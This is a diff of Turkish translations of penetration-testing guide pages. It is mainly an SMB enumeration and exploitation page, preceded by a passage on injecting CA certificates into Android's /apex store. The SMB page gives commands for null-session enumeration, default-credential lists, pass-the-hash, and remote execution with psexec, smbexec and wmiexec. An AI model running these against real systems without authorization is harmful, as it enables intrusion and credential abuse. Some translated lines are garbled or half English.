bulunur; böylece bu dizindeki değişiklikler diğer süreçlerden izole edilir. -Yine de, **`/apex`** dizini içindeki sistem tarafından güvenilen CA sertifikalarını değiştirmek isteyenler için bir geçici çözüm vardır. Bu, **`/apex`**'in PRIVATE propagation özelliğini kaldıracak şekilde manuel olarak remount edilmesini içerir, böylece yazılabilir hale gelir. Süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini unmount ederek salt okunur kısıtlamayı kaldırmayı ve ardından içeriği orijinal konumuna geri yüklemeyi kapsar. Bu yaklaşım sistem çökmesini önlemek için hızlı hareket etmeyi gerektirir. Değişikliklerin tüm sistemde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmak tavsiye edilir; bu, tüm uygulamaları etkili bir şekilde yeniden başlatır ve sistemi tutarlı bir duruma getirir. +Yine de, **`/apex`** dizini içindeki sistem tarafından güvenilen CA sertifikalarını değiştirmek isteyenler için bir geçici çözüm vardır. Bu yöntem, PRIVATE propagation'ı kaldırmak için **`/apex`**'i elle yeniden mount etmeyi ve böylece yazılabilir hale getirmeyi içerir. İşlem, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini unmount ederek salt okunur kısıtlamasını kaldırmayı ve ardından içeriği tekrar **`/apex`** içindeki orijinal konumuna geri yüklemeyi kapsar. Bu yaklaşımın sistem çökmesini önlemek için hızlı hareket etmeyi gerektirdiğini unutmayın. Yapılan değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız (bu tüm uygulamaları etkili şekilde yeniden başlatır) önerilir. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -133,22 +133,23 @@ echo "System certificate injected" ``` ### Bind-mounting through NSEnter -1. **Setting Up a Writable Directory**: Başlangıçta, yazılabilir bir dizin mevcut non-APEX sistem sertifika dizini üzerine bir `tmpfs` mounting yapılarak oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir: +1. **Yazılabilir Bir Dizin Oluşturma**: Başlangıçta, mevcut non-APEX sistem sertifika dizininin üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin ayarlanmasının ardından, kullanılmak istenen CA sertifikaları bu dizine kopyalanmalıdır. Bu işlem, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını içerebilir. Bu sertifikaların izinlerinin ve SELinux etiketlerinin uygun şekilde ayarlanması şarttır. -3. **Bind Mounting for Zygote**: `nsenter` kullanılarak, Zygote'nin mount namespace'ine girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu proses olduğundan, bundan sonra başlatılacak tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adım gereklidir. Kullanılan komut şudur: +2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizin ayarlandıktan sonra kullanmak istediğiniz CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını içerebilir. Bu sertifikaların izinlerini ve SELinux etiketlerini uygun şekilde ayarlamak önemlidir. + +3. **Zygote için Bind Mounting**: `nsenter` kullanılarak Zygote'un mount namespace'ına girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu süreç olduğundan, bu adım bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için gereklidir. Kullanılan komut ise: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -Bu, başlatılan her yeni uygulamanın güncellenmiş CA sertifikaları yapılandırmasına uyacağını garanti eder. +Bu, başlatılan her yeni uygulamanın güncellenmiş CA sertifikaları yapılandırmasına uymasını sağlar. -4. **Çalışan Uygulamalara Değişiklikleri Uygulama**: Zaten çalışmakta olan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın namespace'ine ayrı ayrı girilir ve benzer bir bind mount yapılır. Gerekli komut şudur: +4. **Çalışan Uygulamalara Değişiklikleri Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` yeniden kullanılarak her uygulamanın namespace'ine ayrı ayrı girilir ve benzer bir bind mount gerçekleştirilir. Gerekli komut şudur: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternatif Yaklaşım - Soft Reboot**: Alternatif bir yöntem, bind mount işlemini `init` sürecinde (PID 1) gerçekleştirmek ve ardından işletim sistemini `stop && start` komutlarıyla soft reboot yapmaktır. Bu yaklaşım, değişiklikleri tüm namespaces genelinde yayar ve her bir çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, yeniden başlatmanın yarattığı rahatsızlık nedeniyle bu yöntem genellikle daha az tercih edilir. +5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` sürecinde (PID 1) bind mount uygulayıp ardından işletim sistemini `stop && start` komutları ile yumuşak şekilde yeniden başlatmaktır. Bu yaklaşım değişiklikleri tüm namespaces'lere yayar ve her çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, yeniden başlatmanın zahmeti nedeniyle bu yöntem genellikle daha az tercih edilir. ## Referanslar diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index d73eeaf01..064b9f47e 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,60 +4,60 @@ ## **Port 139** -_**Ağ Temel Giriş/Çıkış Sistemi**_** (NetBIOS), yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstlerinin ağ donanımıyla etkileşim kurmasını ve **ağ üzerinden veri iletimini kolaylaştırmasını** sağlayan bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar olabilen ve genellikle bilgisayar adından farklı olan NetBIOS isimleri aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulamanın (istemci rolünde) başka bir uygulamayı (sunucu rolünde) "çağırmak" için bir komut gönderdiği ve **TCP Port 139** kullandığı durumda başlatılır. +The _**Ağ Temel Girdi Çıktı Sistemi**_** (NetBIOS)**, bir yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstü bilgisayarların ağ donanımıyla etkileşmesine ve **ağ üzerinden veri iletimini kolaylaştırmaya** yönelik tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar olabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) başka bir uygulamayı (sunucu olarak hareket eden) "çağırmak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, ‘**Server Message Blocks**’ anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Bir uygulama katmanı ağ protokolü olarak, SMB/CIFS öncelikle dosyalar, yazıcılar, seri portlar için paylaşılan erişimi sağlamak ve ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. +Teknik olarak, Port 139 ‘NBT over IP’ olarak adlandırılırken, Port 445 ‘SMB over IP’ olarak tanımlanır. Kısaltma **SMB** ‘**Server Message Blocks**’ anlamına gelir; bu aynı zamanda modern olarak **Common Internet File System (CIFS)** olarak bilinir. Bir uygulama-katmanı ağ protokolü olarak SMB/CIFS ağırlıklı olarak dosyalar, yazıcılar, seri portlar için paylaşımlı erişim sağlamak ve ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. -Örneğin, Windows bağlamında, SMB'nin port 445 kullanılarak TCP/IP üzerinde doğrudan çalışabildiği; bunun NetBIOS over TCP/IP'ye olan gereksinimi ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139 kullanımı görülür; bu da SMB'nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir. +Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinde çalışabileceği; böylece port 445'in kullanımıyla NetBIOS over TCP/IP gerekliliğini ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139’un kullanıldığı görülür; bu da SMB'nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -The **Server Message Block (SMB)** protocolü, **client-server** modeliyle çalışan, **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına erişimi düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisinde kullanılan SMB, geriye dönük uyumluluğu sağlar; böylece Microsoft'un daha yeni sürümlerini çalıştıran cihazların daha eski sürümleri çalıştıranlarla sorunsuz etkileşim kurmasına olanak tanır. Ayrıca **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak SMB aracılığıyla platformlar arası iletişimi kolaylaştırır. +**Server Message Block (SMB)** protokolü, bir **istemci-sunucu** modeliyle çalışır ve **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarının düzenlenmesi için tasarlanmıştır. Öncelikle **Windows** işletim sistemleri ailesinde kullanılır; SMB geriye dönük uyumluluğu sağlar ve Microsoft'un daha yeni sürümlerine sahip cihazların daha eski sürümlerle sorunsuz etkileşim kurmasına olanak tanır. Ayrıca **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını mümkün kılan ücretsiz bir yazılım çözümü sunar ve böylece SMB üzerinden platformlar arası iletişimi kolaylaştırır. -Shares, yerel dosya sisteminin **herhangi bölümlerini** temsil ederek, bir SMB sunucusu tarafından sağlanabilir; bu, hiyerarşinin istemciye sunulmasını sunucunun gerçek yapısından kısmen **bağımsız** hale getirir. Access Control Lists (ACLs), erişim haklarını tanımlayan, kullanıcı izinleri üzerinde `execute`, `read` ve `full access` gibi öznitelikleri de içerecek şekilde ince ayrıntılı kontrol sağlar. Bu izinler paylaşıma bağlı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanmış yerel izinlerden farklıdır. +Paylaşımlar (shares), yerel dosya sisteminin **rastgele bölümlerini** temsil edebilir ve SMB sunucusu tarafından sağlanarak hiyerarşinin istemciye görünümünü sunucunun gerçek yapısından kısmen **bağımsız** hale getirir. **Access Control Lists (ACLs)**, **erişim haklarını** tanımlar ve kullanıcı izinleri üzerinde **ince taneli kontrol** sağlar; bunlar `execute`, `read` ve `full access` gibi nitelikleri içerir. Bu izinler paylaşımlara göre bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlı yerel izinlerden farklıdır. ### IPC$ Share -IPC$ share erişimi anonymous null session aracılığıyla elde edilebilir; bu, named pipes ile açığa çıkan servislerle etkileşime izin verir. `enum4linux` aracı bu amaç için kullanışlıdır. Doğru kullanıldığında şunların elde edilmesini sağlar: +IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişilebilir; bu, named pipes aracılığıyla açığa çıkarılan hizmetlerle etkileşime izin verir. Bu amaçla `enum4linux` aracı kullanışlıdır. Doğru kullanıldığında şunları edinmeyi sağlar: - İşletim sistemi hakkında bilgiler -- Üst domain hakkında detaylar +- Üst domain hakkında ayrıntılar - Yerel kullanıcılar ve grupların listesi - Mevcut SMB paylaşımları hakkında bilgiler -- Etkili sistem güvenlik politikası +- Geçerli sistem güvenlik politikası -Bu işlevsellik, ağ yöneticileri ve güvenlik profesyonelleri için bir ağ üzerindeki SMB (Server Message Block) servislerinin güvenlik duruşunu değerlendirmek açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına kapsamlı bir görünüm sağlar; bu, potansiyel zayıf noktaların tespit edilmesi ve SMB servislerinin uygun şekilde güvence altına alındığından emin olunması için gereklidir. +Bu işlevsellik, ağ yöneticileri ve güvenlik uzmanları için bir ağdaki SMB (Server Message Block) hizmetlerinin güvenlik duruşunu değerlendirmek açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına dair kapsamlı bir görünüm sunar; bu, potansiyel zayıflıkları tespit etmek ve SMB hizmetlerinin doğru şekilde güvence altına alındığından emin olmak için gereklidir. ```bash enum4linux -a target_ip ``` -Yukarıdaki komut, `enum4linux`'un `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için nasıl kullanılabileceğine dair bir örnektir. +Yukarıdaki komut, `enum4linux`'un `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için nasıl kullanılabileceğinin bir örneğidir. ## NTLM Nedir -NTLM'in ne olduğunu bilmiyorsanız ya da nasıl çalıştığını ve nasıl suiistimal edilebileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfa sizin için çok ilginç olacaktır; burada **bu protokolün nasıl çalıştığı ve nasıl suiistimal edilebileceği** açıklanmaktadır: +Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl kötüye kullanılacağını öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve bundan nasıl yararlanabileceğiniz** açıklanıyor: {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **Sunucu Enumeration** +## **Server Enumeration** -### **Scan** bir network'te hosts aramak: +### **Scan** — bir ağda hosts arama: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB sunucu sürümü -SMB sürümüne yönelik olası exploitleri aramak için hangi sürümün kullanıldığını bilmek önemlidir. Eğer bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: +SMB sürümüne yönelik olası exploits'leri araştırmak için hangi sürümün kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: -- **MSF** yardımcı modülünü `**auxiliary/scanner/smb/smb_version**` kullanın +- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` kullanın - Veya bu script: ```bash #!/bin/sh @@ -75,22 +75,22 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Ara exploit** +### **Exploit ara** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **Olası** Kimlik Bilgileri -| **Kullanıcı(lar)** | **Yaygın parolalar** | -| -------------------- | ----------------------------------------- | -| _(boş)_ | _(boş)_ | -| guest | _(boş)_ | -| Administrator, admin | _(boş)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| **Kullanıcı Ad(ları)** | **Yaygın parolalar** | +| ---------------------- | ----------------------------------------- | +| _(boş)_ | _(boş)_ | +| guest | _(boş)_ | +| Administrator, admin | _(boş)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Brute Force @@ -120,7 +120,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Kullanıcıları, Grupları ve Oturum Açmış Kullanıcıları Listeleme +### Kullanıcılar, Gruplar ve Oturum Açmış Kullanıcıları Listeleme Bu bilgiler zaten enum4linux ve enum4linux-ng tarafından toplanmış olmalıdır. ```bash @@ -134,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### Yerel kullanıcıları listele +### Yerel kullanıcıları enumerate et [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash @@ -150,14 +150,14 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **LSARPC ve SAMR rpcclient Enumerasyonu** +### **LSARPC ve SAMR rpcclient ile Keşif** {{#ref}} rpcclient-enumeration.md {{#endref}} -### GUI bağlantısı (Linux'ten) +### Linux'tan GUI bağlantısı #### Terminalde: @@ -167,11 +167,11 @@ rpcclient-enumeration.md `smb://friendzone.htb/general/` -## Paylaşılan Klasörlerin Enumerasyonu +## Paylaşılan Klasörlerin Keşfi -### Paylaşılan Klasörleri Listeleme +### Paylaşılan klasörleri listeleme -Her zaman erişebileceğiniz bir şey olup olmadığına bakmanız önerilir; kimlik bilgileriniz yoksa **null** **credentials/guest user** kullanmayı deneyin. +Her zaman herhangi bir şeye erişiminiz olup olmadığını kontrol etmeniz önerilir; kimlik bilgisine sahip değilseniz **null** **credentials/guest user** kullanmayı deneyin. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Paylaşılan klasöre bağlan/listele** +### **Paylaşılan bir klasöre bağlanma/listeleme** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Windows paylaşımlarını elle listeleyin ve bağlanın** +### **Windows paylaşımlarını manuel olarak listeleme ve bağlanma** -Ev sahibi makinenin paylaşımlarını görüntülemeniz kısıtlanmış olabilir ve onları listelemeye çalıştığınızda bağlanılacak herhangi bir paylaşım yokmuş gibi görünebilir. Bu nedenle, bir paylaşıma elle bağlanmayı kısa bir deneme olarak yapmak faydalı olabilir. Paylaşımları elle listelemek için, geçerli bir oturum kullanırken (örn. null session veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu ancak erişiminizin olmadığını veya paylaşımın hiç var olmadığını gösterebilir. +Hedef makinenin paylaşımlarını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda bağlanılacak hiçbir paylaşım yokmuş gibi görünebilir. Bu yüzden bir paylaşıma manuel olarak bağlanmayı denemeye değer olabilir. Paylaşımları manuel olarak listelerken (ör. null session veya geçerli kimlik bilgileri gibi) geçerli bir oturum kullanıyorsanız NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu fakat erişiminizin olmadığını veya paylaşımın hiç var olmadığını gösterebilir. -Windows hedefleri için yaygın paylaşım adları şunlardır +Windows hedefleri için yaygın paylaşım isimleri: - C$ - D$ @@ -212,7 +212,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır - SYSVOL - NETLOGON -(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_ kaynağından) +(Yaygın paylaşım isimleri _**Network Security Assessment 3rd edition**_'den) Aşağıdaki komutu kullanarak bunlara bağlanmayı deneyebilirsiniz: ```bash @@ -241,7 +241,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows'tan paylaşımları listeleme / üçüncü taraf araçlar olmadan** +### **Windows'ta paylaşımları listeleme / üçüncü taraf araçlar olmadan** PowerShell ```bash @@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Dosyaları indir** -credentials/Pass-the-Hash ile nasıl bağlanılacağını öğrenmek için önceki bölümleri okuyun. +Kimlik bilgileri/Pass-the-Hash ile nasıl bağlanılacağını öğrenmek için önceki bölümleri okuyun. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -293,12 +293,12 @@ smbclient /// ``` Komutlar: -- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örn. "" tüm dosyalar için) -- recurse: özyinelemeyi açıp kapatır (varsayılan: kapalı) -- prompt: dosya adları için istemi kapatır (varsayılan: açık) -- mget: maskeye uyan tüm dosyaları sunucudan istemci makinesine kopyalar +- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (ör. "" tüm dosyalar için) +- recurse: alt dizinlerde yinelemeyi açıp kapatır (varsayılan: kapalı) +- prompt: dosya adları için istemeyi açıp kapatır (varsayılan: açık) +- mget: maskeyle eşleşen tüm dosyaları hosttan istemci makineye kopyalar -(_smbclient man sayfasından bilgi_) +(_Bilgi smbclient man sayfasından_) ### Domain Paylaşılan Klasörleri Arama @@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. +Paylaşımlarda özellikle ilgi çekici olan dosyalar **`Registry.xml`** adlı dosyalardır çünkü Group Policy aracılığıyla **autologon** olarak yapılandırılmış kullanıcılar için **parolalar içerebilirler**. Veya **`web.config`** dosyalarına dikkat edin, çünkü kimlik bilgileri içerebilirler. > [!TIP] -> Domain içindeki tüm kimlik doğrulanmış kullanıcılar için **SYSVOL share** **okunabilir**. Orada birçok farklı batch, VBScript ve PowerShell **scripts** **bulabilirsiniz**.\ -> İçindeki **scripts**i **kontrol etmelisiniz**, çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**. +> Domain içindeki tüm kimlik doğrulanmış kullanıcılar için **SYSVOL share** **okunabilir**. Orada birçok farklı batch, VBScript ve PowerShell **scripts** bulabilirsiniz.\ +> İçindeki **scripts**leri **kontrol** etmelisiniz çünkü **parolalar** gibi hassas bilgiler bulabilirsiniz. ## Kayıt Defterini Oku -Keşfettiğiniz bazı kimlik bilgilerini kullanarak **kayıt defterini okuyabilirsiniz**. Impacket **`reg.py`** allows you to try: +Bulduğunuz bazı kimlik bilgilerini kullanarak **kayıt defterini okuyabilirsiniz**. Impacket **`reg.py`** ile deneyebilirsiniz: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalar** içerebilir: +Bir **varsayılan konfigürasyonu** olan bir **Samba** sunucusu genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli konfigürasyonlar** içerebilir: -| **Ayar** | **Açıklama** | +| **Ayar** | **Açıklama** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Geçerli paylaşımda kullanılabilir paylaşımları listelemeye izin veriyor mu? | -| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini engeller mi? | -| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin veriyor mu? | -| `guest ok = yes` | Parola kullanmadan servise bağlanmaya izin veriyor mu? | -| `enable privileges = yes` | Belirli bir SID'e atanan ayrıcalıkları uygular mı? | -| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinler atanmalı? | -| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinler atanmalı? | -| `logon script = script.sh` | Kullanıcının girişinde hangi betik çalıştırılmalı? | -| `magic script = script.sh` | Betik kapandığında hangi betik çalıştırılmalı? | -| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalı? | +| `browseable = yes` | Mevcut paylaşımdaki paylaşımların listelenmesine izin verir mi? | +| `read only = no` | Dosya oluşturulmasını ve değiştirilmesini yasaklar mı? | +| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin verir mi? | +| `guest ok = yes` | Parola kullanmadan servise bağlanılmasına izin verir mi? | +| `enable privileges = yes` | Belirli bir SID'ye atanan ayrıcalıkları uygular mı? | +| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? | +| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? | +| `logon script = script.sh` | Kullanıcı girişinde hangi scriptin çalıştırılması gerekir? | +| `magic script = script.sh` | Script kapatıldığında hangi script çalıştırılmalıdır? | +| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalıdır? | -The command `smbstatus` gives information about the **server** and about **who is connected**. +The command `smbstatus` gives information about the **sunucu** and about **kimin bağlı olduğu**. ## Kerberos kullanarak kimlik doğrulama -Araçlar **smbclient** ve **rpcclient** kullanarak **kerberos**'a **kimlik doğrulayabilirsiniz**: +Araçlar **smbclient** ve **rpcclient** kullanarak **kerberos**'a **kimlik doğrulaması** yapabilirsiniz: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec, **abusing** yoluyla **mmcexec, smbexec, atexec, wmiexec**'in herhangi birini kullanarak komut çalıştırabilir; **wmiexec** **default** yöntemdir. Hangi seçeneği kullanmayı tercih ettiğinizi `--exec-method` parametresi ile belirtebilirsiniz: +crackmapexec, **mmcexec, smbexec, atexec, wmiexec**'in herhangi birini kullanarak komut çalıştırabilir; varsayılan yöntem **wmiexec**'tir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: ```bash apt-get install crackmapexec @@ -380,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Her iki seçenek de hedef makinede (_\pipe\svcctl_ üzerinden SMB kullanarak) **yeni bir servis oluşturacak** ve bunu **bir şeyi çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına yürütülebilir bir dosya **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'i işaret edip argümanlara payload'u koyacaktır --**file-less technique-**-).\ -**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -**kali**'de /usr/share/doc/python3-impacket/examples/ +Her iki seçenek de hedef makinede _\pipe\svcctl_ üzerinden SMB kullanarak **yeni bir servis oluşturacak** ve bunu **bir şey çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına bir executable file **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'e işaret edip argümanlara payload'u koyacaktır --**file-less technique-**-).\ +**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur. ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -390,12 +390,12 @@ Her iki seçenek de hedef makinede (_\pipe\svcctl_ üzerinden SMB kullanarak) ** psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**parametre**`-k` kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz +**Parametre**`-k` ile **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz. ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -DCOM üzerinden **port 135** kullanarak diske dokunmadan veya yeni bir servis başlatmadan gizlice bir komut kabuğu çalıştırın.\ -**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunur. +Diske dokunmadan veya yeni bir servis çalıştırmadan, DCOM aracılığıyla **port 135.**\ +**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur. ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password @@ -411,7 +411,7 @@ DCOM üzerinden **port 135** kullanarak diske dokunmadan veya yeni bir servis ba ``` ### 